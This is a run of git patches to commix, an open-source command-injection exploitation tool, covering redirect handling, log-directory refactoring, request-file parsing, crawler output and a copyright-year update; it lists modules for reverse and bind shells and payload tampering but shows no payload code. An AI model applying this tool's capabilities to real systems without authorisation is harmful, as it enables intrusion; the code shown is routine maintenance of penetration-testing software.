src/core/main.py | 4 +++-
src/utils/settings.py | 2 +-
2 files changed, 4 insertions(+), 2 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index d1aba20fb6..a4a2792bb8 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -293,7 +293,9 @@ def url_response(url):
response = examine_request(request, url)
# Check for URL redirection
if not menu.options.ignore_redirects:
- url = redirection.do_check(request, url)
+ redirect_url = redirection.do_check(request, url)
+ if redirect_url is not None:
+ url = redirect_url
return response, url
"""
diff --git a/src/utils/settings.py b/src/utils/settings.py
index fb6102c385..6b7f2a0ff9 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "16"
+REVISION = "17"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From fb2a29f9ceeac4a11e44b568c445f20f30726743 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 24 Dec 2022 09:08:41 +0200
Subject: [PATCH 235/560] Minor update regarding logging to a file
---
src/utils/logs.py | 82 +++++++++++++++----------------------------
src/utils/settings.py | 2 +-
2 files changed, 29 insertions(+), 55 deletions(-)
diff --git a/src/utils/logs.py b/src/utils/logs.py
index c5a3ca13d7..87686168b2 100755
--- a/src/utils/logs.py
+++ b/src/utils/logs.py
@@ -30,6 +30,21 @@
2. Check for logs updates and apply if any!
"""
+"""
+Directory creation
+"""
+def path_creation(path):
+ if not os.path.exists(path):
+ try:
+ os.mkdir(path)
+ except OSError as err_msg:
+ try:
+ error_msg = str(err_msg).split("] ")[1] + "."
+ except IndexError:
+ error_msg = str(err_msg) + "."
+ print(settings.print_critical_msg(error_msg))
+ raise SystemExit()
+
"""
Logs filename creation.
"""
@@ -37,30 +52,18 @@ def logs_filename_creation(url):
if menu.options.output_dir:
if os.path.isdir(menu.options.output_dir):
output_dir = menu.options.output_dir
- if not output_dir.endswith("/"):
- output_dir = output_dir + "/"
else:
error_msg = "The '" + menu.options.output_dir + "' is not directory."
print(settings.print_critical_msg(error_msg))
raise SystemExit()
else:
output_dir = settings.OUTPUT_DIR
-
- # One directory up, if the script is being run under "/src".
- output_dir = os.path.dirname(output_dir)
- try:
- os.stat(output_dir)
- except:
- try:
- os.mkdir(output_dir)
- except OSError as err_msg:
- try:
- error_msg = str(err_msg).split("] ")[1] + "."
- except IndexError:
- error_msg = str(err_msg) + "."
- print(settings.print_critical_msg(error_msg))
- raise SystemExit()
+ output_dir = os.path.dirname(output_dir)
+ path_creation(output_dir)
+
+ if not output_dir.endswith("/"):
+ output_dir = output_dir + "/"
# The logs filename construction.
filename = create_log_file(url, output_dir)
@@ -72,44 +75,15 @@ def logs_filename_creation(url):
"""
def create_log_file(url, output_dir):
- if not output_dir.endswith("/"):
- output_dir = output_dir + "/"
-
- parts = url.split('//', 1)
- try:
- host = parts[1].split('/', 1)[0]
- except IndexError:
- host = parts[0].split('/', 1)[0]
- except OSError as err_msg:
- try:
- error_msg = str(err_msg).split("] ")[1] + "."
- except IndexError:
- error_msg = str(err_msg) + "."
- print(settings.print_critical_msg(error_msg))
- raise SystemExit()
-
-
- # Check if port is defined to host.
- if ":" in host:
- host = host.replace(":","_")
- try:
- os.stat(output_dir + host + "/")
- except:
- try:
- os.mkdir(output_dir + host + "/")
- except OSError as err_msg:
- try:
- error_msg = str(err_msg).split("] ")[1] + "."
- except IndexError:
- error_msg = str(err_msg) + "."
- print(settings.print_critical_msg(error_msg))
- raise SystemExit()
+ host = _urllib.parse.urlparse(url).netloc.replace(":","_") + "/"
+ logs_path = output_dir + host
+ path_creation(logs_path)
# Create cli history file if does not exist.
- settings.CLI_HISTORY = output_dir + host + "/" + "cli_history"
+ settings.CLI_HISTORY = logs_path + "cli_history"
if not os.path.exists(settings.CLI_HISTORY):
- open(settings.CLI_HISTORY,'a').close()
+ open(settings.CLI_HISTORY,'a').close()
if menu.options.session_file is not None:
if os.path.exists(menu.options.session_file):
@@ -119,16 +93,16 @@ def create_log_file(url, output_dir):
menu.options.session_file + \
"') does not exist."
print(settings.print_critical_msg(err_msg))
- raise SystemExit()
+ raise SystemExit()
else:
- settings.SESSION_FILE = output_dir + host + "/" + "session" + ".db"
+ settings.SESSION_FILE = logs_path + "session.db"
# Load command history
if settings.LOAD_SESSION == True:
checks.load_cmd_history()
# The logs filename construction.
- filename = output_dir + host + "/" + settings.OUTPUT_FILE
+ filename = logs_path + settings.OUTPUT_FILE
try:
output_file = open(filename, "a")
if not menu.options.no_logging:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 6b7f2a0ff9..8ebf7a64e9 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "17"
+REVISION = "18"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From b4f88280c11efc6207ad274d5e927713981fbad4 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 25 Dec 2022 08:57:24 +0200
Subject: [PATCH 236/560] Minor update
---
src/core/requests/headers.py | 4 ++++
src/utils/settings.py | 2 +-
2 files changed, 5 insertions(+), 1 deletion(-)
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index f1fe4629ac..eae5f32e5d 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -105,6 +105,10 @@ def send(self, req):
unique_request_http_headers = []
[unique_request_http_headers.append(item) for item in request_http_headers if item not in unique_request_http_headers]
request_http_headers = [x for x in unique_request_http_headers if x]
+ if menu.options.data and \
+ len(request_http_headers) == 1 and \
+ settings.VERBOSITY_LEVEL >= 2:
+ print(settings.SINGLE_WHITESPACE)
for header in request_http_headers:
if settings.VERBOSITY_LEVEL >= 2:
print(settings.print_traffic(header))
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 8ebf7a64e9..fc1d4b5ccf 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "18"
+REVISION = "19"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 224584302dad94301579e9a7b50d306091279d14 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 26 Dec 2022 08:59:41 +0200
Subject: [PATCH 237/560] Fixes
https://github.com/commixproject/commix/issues/800
---
src/core/injections/controller/parser.py | 30 ++++++++++++------------
src/utils/settings.py | 2 +-
2 files changed, 16 insertions(+), 16 deletions(-)
diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py
index 2cdd04b4f1..137fcc6889 100755
--- a/src/core/injections/controller/parser.py
+++ b/src/core/injections/controller/parser.py
@@ -118,24 +118,24 @@ def invalid_data(request):
request_url = re.findall(r"" + " (.*) HTTP/", request)
if request_url:
- # Check empty line for POST data.
- if len(request.splitlines()[-2]) == 0:
- result = [item for item in request.splitlines() if item]
- multiple_xml = []
- for item in result:
- if checks.is_XML_check(item):
- multiple_xml.append(item)
- if len(multiple_xml) != 0:
- menu.options.data = '\n'.join([str(item) for item in multiple_xml])
- else:
- menu.options.data = result[len(result)-1]
- else:
- try:
+ try:
+ # Check empty line for POST data.
+ if len(request.splitlines()[-2]) == 0:
+ result = [item for item in request.splitlines() if item]
+ multiple_xml = []
+ for item in result:
+ if checks.is_XML_check(item):
+ multiple_xml.append(item)
+ if len(multiple_xml) != 0:
+ menu.options.data = '\n'.join([str(item) for item in multiple_xml])
+ else:
+ menu.options.data = result[len(result)-1]
+ else:
# Check if url ends with "=".
if request_url[0].endswith("="):
request_url = request_url[0].replace("=","=" + settings.INJECT_TAG, 1)
- except IndexError:
- invalid_data(request_file)
+ except IndexError:
+ invalid_data(request_file)
# Check if invalid data
if not request_url:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index fc1d4b5ccf..0474689794 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "19"
+REVISION = "20"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From bf8fad9e3f7dd5db1e3e027c1c723f20899afe5c Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 27 Dec 2022 09:43:59 +0200
Subject: [PATCH 238/560] Fixes
https://github.com/commixproject/commix/issues/802
---
src/core/main.py | 13 ++++++++-----
src/utils/settings.py | 2 +-
2 files changed, 9 insertions(+), 6 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index a4a2792bb8..82172dcb7b 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -735,14 +735,17 @@ def main(filename, url):
menu.options.data = False
while True:
message = "Enter injection level (--level) [1-3, Default: 1] > "
- if settings.STDIN_PARSING or menu.options.level > settings.DEFAULT_INJECTION_LEVEL:
+ if settings.STDIN_PARSING:
print(settings.print_message(message + str(menu.options.level)))
break
- menu.options.level = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True))
- if menu.options.level > settings.HTTP_HEADER_INJECTION_LEVEL:
+ try:
+ menu.options.level = int(common.read_input(message, default=settings.DEFAULT_INJECTION_LEVEL, check_batch=True))
+ if menu.options.level > int(settings.HTTP_HEADER_INJECTION_LEVEL):
+ pass
+ else:
+ break
+ except ValueError:
pass
- else:
- break
# Seconds to delay between each HTTP request.
if menu.options.delay > 0:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 0474689794..5b0ffece85 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "20"
+REVISION = "21"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From f9617e0d53ceee11ee6a9a0d2786648f6f4ee616 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Wed, 28 Dec 2022 09:07:42 +0200
Subject: [PATCH 239/560] Minor update
---
src/core/injections/controller/parser.py | 5 ++---
src/utils/settings.py | 2 +-
2 files changed, 3 insertions(+), 4 deletions(-)
diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py
index 137fcc6889..a4d7ea7c93 100755
--- a/src/core/injections/controller/parser.py
+++ b/src/core/injections/controller/parser.py
@@ -138,11 +138,10 @@ def invalid_data(request):
invalid_data(request_file)
# Check if invalid data
- if not request_url:
- invalid_data(request_file)
else:
- request_url = "".join([str(i) for i in request_url])
+ invalid_data(request_file)
+ request_url = "".join([str(i) for i in request_url])
# Check for other headers
extra_headers = ""
prefix = "http://"
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 5b0ffece85..e1ea82d296 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "21"
+REVISION = "22"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 99f65a6e434344fdc0fb3de9deae1d9775e3a5ed Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Thu, 29 Dec 2022 07:51:43 +0200
Subject: [PATCH 240/560] Minor update
---
src/core/injections/controller/controller.py | 6 ++++--
src/utils/settings.py | 2 +-
2 files changed, 5 insertions(+), 3 deletions(-)
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
index 2eff869a3e..8cba07791f 100644
--- a/src/core/injections/controller/controller.py
+++ b/src/core/injections/controller/controller.py
@@ -94,7 +94,8 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter,
tmp_url = url
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
- elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST:
+ elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST or \
+ menu.options.data and settings.INJECT_TAG in menu.options.data:
if inject_http_headers:
data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC)
else:
@@ -153,7 +154,8 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t
tmp_url = url
if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)
- elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST:
+ elif menu.options.data and http_request_method == settings.HTTPMETHOD.POST or \
+ menu.options.data and settings.INJECT_TAG in menu.options.data:
if inject_http_headers:
data = menu.options.data.replace(settings.INJECT_TAG,"").encode(settings.DEFAULT_CODEC)
else:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index e1ea82d296..d464d003d4 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "22"
+REVISION = "23"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 438d1b1db2fcf7fc3551d551193ee385405b5294 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 30 Dec 2022 09:37:43 +0200
Subject: [PATCH 241/560] Minor fixes n' updated
---
src/core/requests/headers.py | 7 +++++--
src/core/requests/redirection.py | 7 ++++---
src/utils/crawler.py | 14 ++------------
src/utils/settings.py | 2 +-
4 files changed, 12 insertions(+), 18 deletions(-)
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index eae5f32e5d..94dd098c80 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -46,6 +46,8 @@
Checking the HTTP response content.
"""
def http_response_content(content):
+ if type(content) is bytes:
+ content = content.decode(settings.DEFAULT_CODEC)
if settings.VERBOSITY_LEVEL >= 4:
content = checks.remove_empty_lines(content)
print(settings.print_http_response_content(content))
@@ -227,13 +229,14 @@ def https_open(self, req):
except _urllib.error.HTTPError as err:
if settings.VERBOSITY_LEVEL != 0:
print_http_response(err.info(), err.code, err.read())
-
+
if (not settings.PERFORM_CRACKING and \
not settings.IS_JSON and \
not settings.IS_XML and \
not str(err.code) == settings.INTERNAL_SERVER_ERROR and \
not str(err.code) == settings.BAD_REQUEST and \
- not settings.CRAWLED_URLS_NUM != 0) and settings.CRAWLED_SKIPPED_URLS_NUM != 0:
+ not settings.CRAWLED_URLS_NUM != 0 and \
+ not settings.MULTI_TARGETS) and settings.CRAWLED_SKIPPED_URLS_NUM != 0:
print(settings.SINGLE_WHITESPACE)
# Check for 3xx, 4xx, 5xx HTTP error codes.
if str(err.code).startswith(('3', '4', '5')):
diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py
index 213757bb15..ebca5a03e7 100755
--- a/src/core/requests/redirection.py
+++ b/src/core/requests/redirection.py
@@ -69,9 +69,10 @@ def redirect_request(self, request, fp, code, msg, headers, newurl):
if not settings.FOLLOW_REDIRECT:
if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0:
print(settings.SINGLE_WHITESPACE)
- message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n"
- message += "Do you want to follow the identified redirection? [Y/n] > "
- redirection_option = common.read_input(message, default="Y", check_batch=True)
+ message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to " + response.geturl() + "\n"
+ message += "Do you want to follow the identified redirection? [Y/n] > "
+ redirection_option = common.read_input(message, default="Y", check_batch=True)
+
if redirection_option in settings.CHOICE_YES:
settings.FOLLOW_REDIRECT = True
if not settings.CRAWLING:
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
index 8974259a71..af449f865e 100644
--- a/src/utils/crawler.py
+++ b/src/utils/crawler.py
@@ -193,12 +193,7 @@ def request(url):
if url not in settings.HREF_SKIPPED:
settings.HREF_SKIPPED.append(url)
settings.CRAWLED_SKIPPED_URLS_NUM += 1
- if settings.TOTAL_OF_REQUESTS != 1 and not settings.MULTI_TARGETS:
- if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0:
- print(settings.SINGLE_WHITESPACE)
checks.connection_exceptions(err_msg, url)
- if settings.VERBOSITY_LEVEL >= 2:
- print(settings.SINGLE_WHITESPACE)
"""
Enable crawler.
@@ -256,11 +251,8 @@ def no_usable_links(crawled_hrefs):
"""
def do_process(url):
identified_hrefs = False
- if settings.VERBOSITY_LEVEL >= 2:
- print(settings.SINGLE_WHITESPACE)
- else:
- if settings.CRAWLED_SKIPPED_URLS_NUM == 0 or settings.CRAWLED_URLS_NUM != 0:
- sys.stdout.write("\r")
+ if settings.CRAWLED_SKIPPED_URLS_NUM == 0 or settings.CRAWLED_URLS_NUM != 0:
+ sys.stdout.write("\r")
# Grab the crawled hrefs.
try:
response = request(url)
@@ -343,8 +335,6 @@ def crawler(url, url_num, crawling_list):
info_msg += "/" + str(len(output_href)) + " links visited."
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
- if settings.VERBOSITY_LEVEL > 1:
- print(settings.SINGLE_WHITESPACE)
if link != 0:
print(settings.SINGLE_WHITESPACE)
settings.DEFAULT_CRAWLING_DEPTH += 1
diff --git a/src/utils/settings.py b/src/utils/settings.py
index d464d003d4..a10f0d984c 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "23"
+REVISION = "24"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 30d48372f1f520d9ce58308e98cf0ec0bc15597c Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sat, 31 Dec 2022 08:53:15 +0200
Subject: [PATCH 242/560] Minor update
---
src/core/main.py | 5 ++++-
src/utils/settings.py | 2 +-
2 files changed, 5 insertions(+), 2 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index 82172dcb7b..319ed86acb 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -932,7 +932,10 @@ def main(filename, url):
except:
pass
elif message in settings.CHOICE_NO:
- pass
+ if url_num == len(clean_output_href):
+ raise SystemExit()
+ else:
+ pass
elif message in settings.CHOICE_QUIT:
raise SystemExit()
diff --git a/src/utils/settings.py b/src/utils/settings.py
index a10f0d984c..73ebcc4214 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "24"
+REVISION = "25"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 82068730b24cb38e8e8b835025382abe700835a8 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 1 Jan 2023 09:57:08 +0200
Subject: [PATCH 243/560] Trivial update
---
src/core/main.py | 12 ++++++------
src/core/requests/headers.py | 6 ------
src/utils/settings.py | 2 +-
3 files changed, 7 insertions(+), 13 deletions(-)
diff --git a/src/core/main.py b/src/core/main.py
index 319ed86acb..9fdb7cc0e1 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -272,6 +272,9 @@ def init_request(url):
Get the URL response.
"""
def url_response(url):
+ if settings.INIT_TEST == True:
+ info_msg = "Testing connection to the target URL. "
+ print(settings.print_info_msg(info_msg))
# Check if http / https
url = checks.check_http_s(url)
# Check if defined Tor (--tor option).
@@ -284,12 +287,6 @@ def url_response(url):
request = init_request(url)
if settings.CHECK_INTERNET:
settings.CHECK_INTERNET = False
- if settings.INIT_TEST == True:
- info_msg = "Testing connection to the target URL. "
- sys.stdout.write(settings.print_info_msg(info_msg))
- sys.stdout.flush()
- if settings.VERBOSITY_LEVEL >= 2:
- print(settings.SINGLE_WHITESPACE)
response = examine_request(request, url)
# Check for URL redirection
if not menu.options.ignore_redirects:
@@ -938,6 +935,9 @@ def main(filename, url):
pass
elif message in settings.CHOICE_QUIT:
raise SystemExit()
+
+ if url_num == len(clean_output_href):
+ raise SystemExit()
except KeyboardInterrupt:
try:
diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py
index 94dd098c80..0aa83c9624 100755
--- a/src/core/requests/headers.py
+++ b/src/core/requests/headers.py
@@ -173,8 +173,6 @@ def https_open(self, req):
settings.VALID_URL = True
if not settings.CHECK_INTERNET:
settings.INIT_TEST = False
- if settings.VERBOSITY_LEVEL < 2:
- print(settings.SINGLE_WHITESPACE)
except ValueError as err:
if settings.VERBOSITY_LEVEL < 2:
@@ -187,10 +185,6 @@ def https_open(self, req):
raise SystemExit()
except _urllib.error.HTTPError as err_msg:
- if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2:
- if (settings.CRAWLING and settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0) or \
- not settings.CRAWLING:
- print(settings.SINGLE_WHITESPACE)
if settings.UNAUTHORIZED_ERROR in str(err_msg):
settings.UNAUTHORIZED = unauthorized = True
settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 73ebcc4214..4c111ff79b 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "25"
+REVISION = "26"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 86e467a37abef2b0bdddd53b4f7db590353726d4 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Mon, 2 Jan 2023 09:48:43 +0200
Subject: [PATCH 244/560] Minor update regarding heuristic checks
---
src/core/main.py | 5 +++++
src/utils/settings.py | 2 +-
2 files changed, 6 insertions(+), 1 deletion(-)
diff --git a/src/core/main.py b/src/core/main.py
index 9fdb7cc0e1..3bb52ca98c 100644
--- a/src/core/main.py
+++ b/src/core/main.py
@@ -299,6 +299,11 @@ def url_response(url):
Injection states initiation.
"""
def init_injection(url):
+ # Initiate heuristic checks.
+ if settings.SKIP_CODE_INJECTIONS:
+ settings.SKIP_CODE_INJECTIONS = False
+ if settings.SKIP_COMMAND_INJECTIONS:
+ settings.SKIP_COMMAND_INJECTIONS = False
# Initiate injection checker.
if settings.INJECTION_CHECKER:
settings.INJECTION_CHECKER = False
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 4c111ff79b..e65c44d151 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.7"
-REVISION = "26"
+REVISION = "27"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
From 42fc4b5356b88aebc544bf8604b7f6ca29041711 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Tue, 3 Jan 2023 07:27:59 +0200
Subject: [PATCH 245/560] Minor update regarding Copyright year
---
LICENSE.txt | 2 +-
commix.py | 2 +-
setup.py | 2 +-
src/__init__.py | 2 +-
src/core/__init__.py | 2 +-
src/core/compat.py | 2 +-
src/core/convert.py | 2 +-
src/core/injections/__init__.py | 2 +-
src/core/injections/blind/__init__.py | 2 +-
src/core/injections/blind/techniques/__init__.py | 2 +-
src/core/injections/blind/techniques/time_based/__init__.py | 2 +-
.../blind/techniques/time_based/tb_enumeration.py | 2 +-
.../blind/techniques/time_based/tb_file_access.py | 2 +-
.../injections/blind/techniques/time_based/tb_handler.py | 2 +-
.../injections/blind/techniques/time_based/tb_injector.py | 2 +-
.../injections/blind/techniques/time_based/tb_payloads.py | 2 +-
src/core/injections/controller/__init__.py | 2 +-
src/core/injections/controller/checks.py | 2 +-
src/core/injections/controller/controller.py | 2 +-
src/core/injections/controller/parser.py | 2 +-
src/core/injections/controller/shell_options.py | 2 +-
src/core/injections/results_based/__init__.py | 2 +-
src/core/injections/results_based/techniques/__init__.py | 2 +-
.../injections/results_based/techniques/classic/__init__.py | 2 +-
.../results_based/techniques/classic/cb_enumeration.py | 2 +-
.../results_based/techniques/classic/cb_file_access.py | 2 +-
.../results_based/techniques/classic/cb_handler.py | 2 +-
.../results_based/techniques/classic/cb_injector.py | 2 +-
.../results_based/techniques/classic/cb_payloads.py | 2 +-
.../results_based/techniques/eval_based/__init__.py | 2 +-
.../results_based/techniques/eval_based/eb_enumeration.py | 2 +-
.../results_based/techniques/eval_based/eb_file_access.py | 2 +-
.../results_based/techniques/eval_based/eb_handler.py | 2 +-
.../results_based/techniques/eval_based/eb_injector.py | 2 +-
.../results_based/techniques/eval_based/eb_payloads.py | 2 +-
src/core/injections/semiblind/__init__.py | 2 +-
src/core/injections/semiblind/techniques/__init__.py | 2 +-
.../injections/semiblind/techniques/file_based/__init__.py | 2 +-
.../semiblind/techniques/file_based/fb_enumeration.py | 2 +-
.../semiblind/techniques/file_based/fb_file_access.py | 2 +-
.../semiblind/techniques/file_based/fb_handler.py | 2 +-
.../semiblind/techniques/file_based/fb_injector.py | 2 +-
.../semiblind/techniques/file_based/fb_payloads.py | 2 +-
.../semiblind/techniques/tempfile_based/__init__.py | 2 +-
.../semiblind/techniques/tempfile_based/tfb_enumeration.py | 2 +-
.../semiblind/techniques/tempfile_based/tfb_file_access.py | 2 +-
.../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +-
.../semiblind/techniques/tempfile_based/tfb_injector.py | 2 +-
.../semiblind/techniques/tempfile_based/tfb_payloads.py | 2 +-
src/core/main.py | 2 +-
src/core/modules/__init__.py | 2 +-
src/core/modules/modules_handler.py | 2 +-
src/core/modules/shellshock/__init__.py | 2 +-
src/core/requests/__init__.py | 2 +-
src/core/requests/authentication.py | 2 +-
src/core/requests/headers.py | 2 +-
src/core/requests/parameters.py | 2 +-
src/core/requests/proxy.py | 2 +-
src/core/requests/redirection.py | 2 +-
src/core/requests/requests.py | 2 +-
src/core/requests/tor.py | 2 +-
src/core/shells/__init__.py | 2 +-
src/core/shells/bind_tcp.py | 2 +-
src/core/shells/reverse_tcp.py | 2 +-
src/core/tamper/__init__.py | 2 +-
src/core/tamper/backslashes.py | 2 +-
src/core/tamper/backticks.py | 2 +-
src/core/tamper/base64encode.py | 2 +-
src/core/tamper/caret.py | 2 +-
src/core/tamper/dollaratsigns.py | 2 +-
src/core/tamper/doublequotes.py | 2 +-
src/core/tamper/hexencode.py | 2 +-
src/core/tamper/multiplespaces.py | 2 +-
src/core/tamper/nested.py | 2 +-
src/core/tamper/printf2echo.py | 2 +-
src/core/tamper/singlequotes.py | 2 +-
src/core/tamper/slash2env.py | 2 +-
src/core/tamper/sleep2timeout.py | 2 +-
src/core/tamper/sleep2usleep.py | 2 +-
src/core/tamper/space2htab.py | 2 +-
src/core/tamper/space2ifs.py | 2 +-
src/core/tamper/space2plus.py | 2 +-
src/core/tamper/space2vtab.py | 2 +-
src/core/tamper/uninitializedvariable.py | 2 +-
src/core/tamper/xforwardedfor.py | 2 +-
src/core/testing.py | 2 +-
src/thirdparty/__init__.py | 2 +-
src/utils/__init__.py | 2 +-
src/utils/colors.py | 2 +-
src/utils/common.py | 2 +-
src/utils/crawler.py | 2 +-
src/utils/install.py | 2 +-
src/utils/logs.py | 2 +-
src/utils/menu.py | 2 +-
src/utils/purge.py | 2 +-
src/utils/requirments.py | 2 +-
src/utils/session_handler.py | 2 +-
src/utils/settings.py | 6 +++---
src/utils/simple_http_server.py | 2 +-
src/utils/update.py | 2 +-
src/utils/version.py | 2 +-
101 files changed, 103 insertions(+), 103 deletions(-)
diff --git a/LICENSE.txt b/LICENSE.txt
index 1fcc28efab..90437c6163 100644
--- a/LICENSE.txt
+++ b/LICENSE.txt
@@ -1,4 +1,4 @@
-Copyright (c) 2014-2022 Anastasios Stasinopoulos
+Copyright (c) 2014-2023 Anastasios Stasinopoulos
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/commix.py b/commix.py
index 3d1b518bf2..538de6f371 100755
--- a/commix.py
+++ b/commix.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/setup.py b/setup.py
index 16a0a4cc33..5e356a3ae1 100644
--- a/setup.py
+++ b/setup.py
@@ -3,7 +3,7 @@
"""
This file is part of Commix Project (https://commixproject.com).
-Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst).
+Copyright (c) 2014-2023 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
diff --git a/src/__init__.py b/src/__init__.py
index 7ce1185b92..4b64c163e0 100644
--- a/src/__init__.py
